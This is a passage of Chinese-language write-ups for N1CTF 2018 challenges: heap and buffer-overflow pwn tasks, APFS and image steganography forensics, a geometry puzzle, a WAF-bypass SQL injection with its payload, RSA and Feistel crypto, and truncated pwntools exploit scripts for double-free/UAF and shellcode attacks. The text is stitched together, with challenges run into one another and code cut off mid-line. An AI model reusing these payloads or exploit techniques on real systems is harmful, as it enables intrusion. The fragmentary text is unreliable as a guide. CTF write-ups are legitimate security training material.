Category - N1CTF2018

代码少不一定是好事,代码多也不一定是坏事。

这道题目的代码可以说是十分简单了,主要就是新开了一条线程,然后在线程里面可以进行批量的malloc操作。
然而malloc操作是的分配空间大小是严格限制好的,除此之外也实在没看出别的问题。
开始寻思着是整形溢出,继而导致缓存区溢出,然而并没有,严格的条件判断致使程序根本没有整形溢出的机会。
看了Write up之后才发现,漏洞真的是就在自己眼皮底下,还不止一次反复怀疑过的,可惜就是没有察觉到。

  1. for ( i = 0LL; ; i += v3 )
  2. {
  3. result = i;
  4. if ( i >= size )
  5. break;
  6. v3 = read(0, (void *)(heap_ptr + i), size);
  7. if ( v3 <= 0 )
  8. {
  9. write(1, "I/O error\n", 0xAuLL);
  10. sub_400AD6(1u);
  11. }
  12. }

这段代码是程序malloc之后唯一往新空间写入内容的地方,如果用户输入和size长度匹配的内容,自然是一点问题都没有。但是如果用户输入小于给定size长度的内容,因为read函数返回值是实际读入的字节数,因此可能造成v3 < size的情况。还是举例来说,size=0x400, 用户输入0x3ff个字节,然后v3=0x3ff,此时程序进入下一个循环。
在下一个循环当中,read的调用情况就变成了read(0, heap_ptr + 0x3ff, 0x400),因此可以溢出到预期空间之外的内存。

vmmap
至于malloc出来空间的位置,简单用上图来说明一下,新线程里面分配的空间并不是分配到heap里面的,而是通过mmap的机制来分配新的内存块。分配的时候首先会消耗掉图中白框部分空闲的内存,当这部分可用的内存都分配完了,程序就会往上找新的空间,比如说2号标记所示的内存。然后1号标记的位置是该线程中的main_arena所在的位置。

main_arena
上图是main_arena的数据结构,对heap攻击利用有一定了解的同学都应该知道,main_arena里面保存了很多malloc有关的数

首先在MacOS High Sierra 10.13上挂载镜像,提示需要输入密码,根据镜像文件尾部明文,猜测密码是N1CTF_APFS,输入成功挂载。

挂载后发现镜像中含有ctf文件夹,内含531个txt。

根据题目提示的WWDC2017发布的APFS新特性,找到如下描述:

 

使用apfs_snapshot(注意:该程序在/System/Library/Filesystems/apfs.fs/Contents/Resources/路径下,且10.12版本有,10.13没有)找到快照ctf:

 

使用mount_apfs挂载快照到snap下:

发现恢复快照后同样是一个ctf文件夹,内含531个txt,ls后发现文件大小,修改时间没有差异。

又由提示的

找到如下的资料,猜测和恢复快照前后的txt修改时间有关(需要读取到纳秒级,ls显示的精度不够):

尝试通过python读取文件的mtime(纳秒级),发现确实是纳秒部分才出现变化:

由提示的

,猜想是提取快照前后的文件修改时间进行异或,得到flag,但是提取9位纳秒进行异或后没有看到什么有价值的信息。

重新观察打印的时间信息,发现尾部都是00x,而且最后一位都是0-7,猜测是隐写在最后一位,且需要转成3位的bin(如 7 -> 111),再加上提示的异或后是一个zip,所以开头应该是504b0304,对照后发现吻合,写脚本转换即可提取出zip:

压缩包同样经过了加密,密码是N1CTF_APFS:


另:其实未异或前提取出的隐藏信息也是一个zip,同样加密了,隐藏了假flag hhh:

 

首先stegsolve发现RGB的最低位都隐写了信息,提取出来发现是个加密的压缩包:

根据后来给的提示:

猜测密码和色号有关,而且在YSL官网查得具有这几种色号的应该是方管ROUGE PUR COUTURE :)


结合给出的图片,和YSL官网的色号,用PS确定色号:)

又根据提示的bin2text,对色号进行转换:

其中efbbbf为BOM头,保存为txt打开即可得到密码:

解密得到flag。

差不多暴力破解过去的一道题,很有《最强大脑》的风格,分几个步骤:

根据题目确定A是 xy 平面后,需要把其他五个平面中点的坐标映射到以A面为参考系的坐标中。方法是将每个平面的边和A的四条边匹配,这样就能确定包括A在内的五个平面,然后第六个平面也出来了。匹配的过程是对B-F平面做等效变换,可以避免对四条边的匹配顺序无从下手。一共使用了八种变换,分别是:无旋转、水平翻转、垂直翻转、顺时针旋转90、180、270度、沿主对角线翻转、副对角线翻转。实现时用了一些函数式编程的特性,如lambda、reduce等。

确定了每个点的坐标后,就是找出特殊的7个数字,题目给出了两条规则,奇偶和是否质数,其实第五题有另外一条隐藏规则:有7个数字是9位数,其他都是10位数,也很容易找到这个规则。这一步就能确定7个特殊点的坐标了。

最后要找出符合要求的两条直线,7个点两两配对能够得到21条直线,这里我用的表示方法是空间直线的点斜式,记录一个方向向量和一个过该直线的点(实际上两个点都记录了),回忆下高数的知识,应该不难。先找两条直线是否垂直,用点乘等于0判断。最后一步很坑,要找的是两条直线共同经过的方块,而不是相交的,没找到定量的方法计算,只用了近似的算法,也因此挺多回答是错误的,但暴力多跑几遍总能有一次五道题全过的(实际上大概跑了10次吧23333)。

近似的算法是枚举内部的 53=125个点,计算它们到这两条直线的距离之和,把值最小的那一个点作为答案。这里涉及到计算点到空间直线的距离,例如点C到直线AB的距离,等于两倍三角形ABC的面积除以AB的长度,实际上代码用了其他计算方法。

直接贴代码,代码中用到了思考过程中的自定义变量,可能不是很直观,有希望详细了解的可以来直接找我(虽然应该是没有的233333)。

  1. from pwn import *
  2. from hashlib import sha256
  3. from string import *
  4. from math import sqrt
  5. from itertools import pro

主要代码

图片标题
就是一个绕waf的sql注入
简单的测试waf过滤了=,like,where,pw),2,3,4,5,9
2可以用1+1代替,如此类推,pw)只要在中间加空格就可绕过

最终payload

flag=0&hi=%2B(conv(hex((select substr((select pw ),1%2B1,1))),16,10))

一道与普通rsa不太相同的题,基本没见过这个思路,但实际上并不难,需要一点数学的直觉。

直接看代码可以知道,所使用的消息m、大整数N和加密指数e都是固定的,但需要用户自行输入一个padding,加密过程是:

cipher=(m+sha256(padding))e mod N

其中e的值固定为3,但因为消息m过长,三次方后超过N,导致直接开立方不奏效。由于密钥参数都是确定的,因此可以用两次加密作差来解决求模的问题,记sha256(padding)p,密文为c,那么两次加密的结果记做:

c1=(m+p1)3 mod N
c2=(m+p2)3 mod N

直接相减可以消去m的立方项,由于pm

看题目名字就能猜测和DES有关系,直接看所给的python代码也能看出和现有的DES遵循一个同样的框架,更确切来说,和现行DES都遵循feistel结构,其中要求轮函数F是自反的,即

F(x)=y    F(y)=x

这里的F就是代码中的round_add函数,很容易能写出对应的解密函数,跟加密函数完全相反就可以。

  1. def encrypt(self, plaintext):
  2. if (len(plaintext) % 16 != 0 or isinstance(plaintext, bytes) == False):
  3. raise Exception("plaintext must be a multiple of 16 in length")
  4. res = ''
  5. for i in range(len(plaintext) / 16):
  6. block = plaintext[i * 16:(i + 1) * 16]
  7. L = block[:8]
  8. R = block[8:]
  9. for round_cnt in range(32):
  10. L, R = R, (round_add(L, self.Kn[round_cnt]))
  11. L, R = R, L
  12. res += L + R
  13. return res
  14. def decrypt(self, ciphertext):
  15. if (len(ciphertext) % 16 != 0 or isinstance(ciphertext, bytes) == False):
  16. raise Exception("ciphertext must be a multiple of 16 in

漏洞是在输入密码那里有个buffer overflow,长度够长能够一直覆盖掉下面的一些vm里面执行的代码。get_pass里头有个函数,是读取bss上的部分伪代码,根据伪代码来进行一些写入操作。我们姑且把这个函数叫做vm。

难点一在于逆向vm函数,弄懂其中的逻辑。行为表如下。

  1. heap1 = 0x57010
  2. heap2 = 0x57030
  3. case: '1' : --*heap2;
  4. case: 'L' : ++*heap2;
  5. case: 'N' : *heap2 = *heap1
  6. case: 'a' : --*heap1;
  7. case: 'h' : ++input
  8. case: 'm' : ++*input
  9. case: 'o' : --input
  10. case: 'r' : ++*heap1
  11. case: 'u' : --*input
  12. case: [] : input ? execute: skip
  13. case: {} : heap2 ? execute: skip

还有一个地方卡了很久,因为开了PIE,一直找不到地址的泄露。后来发现remove那里也是有double free,heap上面有一个chunk是保存了可执行代码段的地址的。只要
remove(0);remove(2);remove(0)
就能够泄露出可执行段的地址,然后通过logout进入vm函数,overflow改掉vm操作的基地址,接下来就可以通过伪代码去网可执行段里面写shellcode了。

因为长度限制,这里分开了两次操作把shellcode写入段中,最后通过buy操作即可触发shellcode。

Run.py

  1. from pwn import *
  2. LSHIFT = 'o' # --i
  3. RSHIFT = 'h' # ++i
  4. INC = 'm' # ++ (*i)
  5. DEC = 'u' # -- (*i)
  6. context.arch='amd64'
  7. password = '\x86\x13\x81\tb\xffD\xd3?\xcd\x19\xb0\xfb\x88\xfd\xae \xdf' + '\x00'*85
  8. context.log_level = 'debug'
  9. # p = process('./beep
  1. struct user
  2. {
  3. __int64 count;
  4. __int64 time;
  5. __int64 name;
  6. };

漏洞出在cancel函数里面,如果create一个用户后没有投票操作的话,cancel函数free这个指针并不会把指针清零,可以造成一个double free或者是uaf。
malloc一个unsortedbin大小的chunk然后free掉,通过show函数就能泄露一个libc地址。
按照常规的思路做fast bin attack的话会行不通,因为返回来的地址prev位对应结构中的count参数,这个位置我们是没办法直接改写达到返回任意地址的目的的。
然后想到了uaf的做法,既然我们不能直接写,那么可以用vote函数把prev位的地址给加上去。在heap中伪造一个fake chunk,保证这个chunk是free的状态并且能够通过malloc的检查,然后还要把prev位设置成为最终想要返回的地址。

那么我们再malloc两次就能得到想要的地址了,这里当然是写got表,问题是用0x7f的大小试了很久都绕不过,gaintbranch提醒说got表上的0x7f会有干扰的,libc上的就能成功返回。后来又用0x60的大小去试,got表上仅存能够利用的0x60位置都不能用。

后来只好翻到got最前面0x601ffa那边去了,用onegadget一个一个尝试那个got位置可以成功调用,最后好像是在pthread_create那里成功了。

再vote一次即可触发。

vote.py

  1. from pwn import *
  2. import time
  3. env = {'LD_PRELOAD': './libc-2.23.so'}
  4. # p = process('./vote', env=env)
  5. p = remote('47.97.190.1', 6000)
  6. libc = ELF('./libc-2.23.so')
  7. context.log_level = 'debug'
  8. def create(size, name):
  9. p.sendlineafter('Action: ', '0')
  10. p.sendlineafter(': ', str(s